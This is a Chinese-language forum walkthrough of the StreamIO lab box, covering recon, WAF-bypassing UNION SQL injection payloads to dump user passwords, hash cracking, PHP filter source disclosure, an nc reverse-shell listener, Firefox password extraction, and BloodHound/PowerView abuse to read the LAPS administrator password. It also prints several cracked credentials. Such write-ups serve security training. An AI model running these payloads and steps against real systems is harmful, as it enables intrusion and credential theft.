电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 508 人浏览分享

实战打靶之StreamIO

[复制链接]
508 0
信息收集

端口扫描

nmap扫描到 19 个开放的 TCP 端口。

QQ截图20221115102650.png

接着继续使用nmap的-s、-C、-V等参数进行版本等进行扫描

QQ截图20221115102735.png

服务(DNS 53、Kerberos 88、LDAP 389 和其他、SMB 445、RPC 135、Netbios 139 等)的组合表明这
是一个域控制器。而443 上的 TLS证书上还有两个 DNS 名称,streamIO.htb和watch.streamIO.htb.

21115102813.png

子域名枚举

使用wfuzz对子域名进行枚举

5102915.png

63221.png

SMB爆破

接着使用crackmapexec进行爆破smb

QQ截图20221115103315.png

62222.png

主机信息收集

访问80端口,发现winserver服务。

QQ截图20221115103702.png

访问https下的url地址

QQ截图20221115103736.png

进行关键信息收集

QQ截图20221115103807.png

有一个联系页面,当我提交一些东西时,它说要在电子邮件中寻找回复:

62221.png

然后进行注册,但是不能进行登录

62220.png

注册新用户,尝试进行登录

62119.png

注册之后,不能成功进行登录

62118.png

目录爆破

接着使用feroxbuster 对php文件格式进行爆破

62116.png

和之前的一样,存在登录和注册模块

62113.png

子域名枚举出来了一个watch.streamio.htb

该网站有一个常见问题解答和一个订阅表格:

62112.png

通过该表单添加xx报告它是可以成功的:

6331.png

但是执行一些恶意的payload,会触发waf

6118.png

漏洞利用:

SQL注入

在search.php显示带有“观看”按钮的数百部电影的列表:

单击“观看”只是表示该功能不可用:

6117.png

在搜索栏中输入内容会过滤结果。例如,输入“test”会返回:

6116.png

6115.png

接着进行测试。发现有waf对关键字进行拦截

6114.png

手工注入绕过waf

如果我只是将 a 传递给'查询,它不会返回任何结果。实际上,从开发端捕获 SQL 中的错误并在服务器
端进行管理是一种很好的做法。这并不意味着它不容易受到 SQL 注入的影响。
我会注意到,当我输入“test”时,它会返回“The Greatest Showman”。这意味着数据库查询类似于:
select*from movies where title like '%[input]%';
如果这是可注入的,那么我可以尝试一些不会崩溃但仍可能返回结果的方法 例如如果
我尝试“man”;--“会怎样。如果这是可注射的,那将导致:
select * from movies where title like '%man';-- -%';
联合查询
abcd' union select 1,2,3,4,5,6;-- -:

6113.png

u' union select 1,@@version,3,4,5,6 -- //查询版本

6112.png

u' union select 1,table_name,3,4,5,6 from information_schema.tables -- //查询表

6111.png

u' union select 1,column_name,3,4,5,6 from information_schema.columns where tab
le_name= 'users' -- //查询表单的列。

6009.png

u' union select 1,username,3,4,5,6 from users -- //查询用户

6008.png

u' union select 1,password,3,4,5,6 from users -- //查询密码

6007.png

u' union select 1,concat(username,':',password),3,4,5,6 from users -- //查询用户和密码

6006.png

使用curl命令将用户名和密码保存

6005.png

hashcat解密

6003.png

6002.png

SMB爆破

使用该--no-bruteforce选项,它将为每个用户匹配相应的密码 而不是像默认行为那样尝试全部尝试

6001.png

使用hydra和https-post-form插件来寻找有效用户

600.png

找到了用户 yoshihide,然后 使用密码“66boysandgirls..”登录

100.png

成功进入后台之后,发现在/admin用户下存在4个功能点

98.png

96.png

89.png

参数枚举

接着对admin?xxx=参数进行枚举

wfuzz -u https://streamio.htb/admin/?FUZZ=-w /usr/share/seclists/Discovery/Web-Content/bu
rp-parameter-names.txt -H"Cookie: PHPSESSID=gpp07f35aviqcd3ak2544hne08"--hh 1678

88.png

命令执行

发现存在/debug目录。

在/admin/master.php之前的内容,尝试master.php加载包含电影、用户和员工的页面!

86.png

获取master源码

使用 PHP 过滤器来获取源master.php代码https://streamio.htb/admin/?debug=php://filter/con
vert.base64-encode/resource=master.php:

82.png

源码分析

<h1>Movie managment</h1>
<?php
if(!defined('included'))

81.png

本地开启http服务,进行文件传输

80.png

反向nc连接

rlwrap -cAr nc -lnvp 443

69.png

获取权限

成功getshell

26.png

主机信息收集

接着对文件进行搜索。收集一些有用的东西

8888.png

在其 中有另一个实例以 db_user 身份连接admin\index.php,但在 中register.php它以 db_admin
身份连接。

8886.png

streamio_backup 数据库利用

使用sqlcmd进行连接。

-S localhost- 要连接的主机
-U db_admin- 要连接的用户
-P B1@hx31234567890- 用户密码
-d streamio_backup- 要使用的数据库
-Q [query]- 查询运行然后退出

8885.png

hash爆破

8884.png

查找这些用户的用途

8883.png

接着使用crackmapexec爆破,最后在 nikk37 的密码在系统上是可以使用的:

8882.png

WinRM连接

使用evil-winrm进行连接

8881.png

8880.png

获取user.txt

接着进入/nik37/Desktop用户目录下,获取到user.txt.

8869.png

主机信息收集

发现存在火狐浏览器的配置文件

在nikk37 有一个主目录,带有 Firefox 配置文件:

8868.png

提取 Firefox 密码

工具:https://github.com/lclevy/firepwd

进入文件路径下,发现2个文件

831.png

856.png

SMBerver建立共享,传输文件到本地

830.png

1033.png

Firepwd提取密码

使用./firepwd.py提取firefox的密码

829.png

用户权限检测

使用crackmapexec进行用户权限检测

发现JDgodd 没有 WinRM 的权限:

828.png

826.png

822.png

域内信息收集

活动目录收集

BloodHound.py是一个基于 Python 的 BloodHound摄取器,基于Impacket。
此版本的 BloodHound.py仅与 BloodHound 4.2 或更高版本兼容。对于 3.x 范围,通过 pypi 使用1.1.1版本
从1.3 版开始,BloodHound.py 仅支持 Python 3,Python 2 不再经过测试,将来可能会中断。

使用Bloodhound(https://github.com/fox-it/BloodHound.py)进行域内活动目录收集
发现一个zip文件 包含四个文件,其中包含有关域中各种对象的信息:

然后进行分析。

821.png

https://github.com/PowerShellMafia/PowerSploit

导入数据

我将打开 Bloodhound 并清除数据库以重新开始(“数据库信息”选项卡底部的按钮)我将单击右
侧菜单中的“上传数据”按钮,并为其提供 zip 文件:

分析

加载数据后,我将搜索并标记拥有我有权访问的三个帐户中的每一个。对于每一个我都会检查
出站控制权。yoshihide 和 nikk37 没有,但 JDgodd 显示了一个:

820.png

结论

单击“1”表示 JDgodd 拥有所有权,并且WriteOwner在 Core Staff 组中:从核心员工扩展而
来它ReadLAPSPassword在 DC 计算机对象上有:

权限提升

上传PowerView.ps1

在C:\programdata目录下,上传PowerView.ps1(https://github.com/PowerShellMafia/Pow
erSploit/blob/dev/Recon/PowerView.ps1)

导入JDgodd 的凭证对象,并将 JDgodd 添加到组中。

819.png

提取 LAPS 密码

使用crackmapexec也可以提取 LAPS 密码

818.png

运行脚本

817.png

816.png

获取 LAPS 密码

使用Get-AdComputer-Filter*-Propertiesms-Mcs-AdmPwd-Credential$cred,获取lAPS密码。

815.png

WINRM以管理员用户远程连接

evil-winrm -u administrator -p'8M[&tV4#!j$k05'-i 10.10.11.158

814.png

成功连接之后,进入/users/Martin目录下

813.png

获取root.txt

使用type命令查看root.txt

812.png

总结

首先进行信息收集,通过端口扫描、子域名枚举发现存在另一个域名,接着使用crackmapexec爆破SMB协议然后
对目录进行爆破。发现注册用户页面和登录页面。接着进行漏洞利用,发现存在一个表单,尝试sql注入、发现存在
waf然后进行手工绕过。绕过wajief之后,hsahcat进行爆破,接着进行smb爆破,然后进行命令执行漏洞。第一次
getshell,getshell之后,发现存在Firefox的配置文件,然后下载到本地,进行解密。解密之后进行用户权限检测
然后进行域内信息收集。接着进行权限提升。使用WinRM进行本地登录,登录之后获取root.txt文件。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.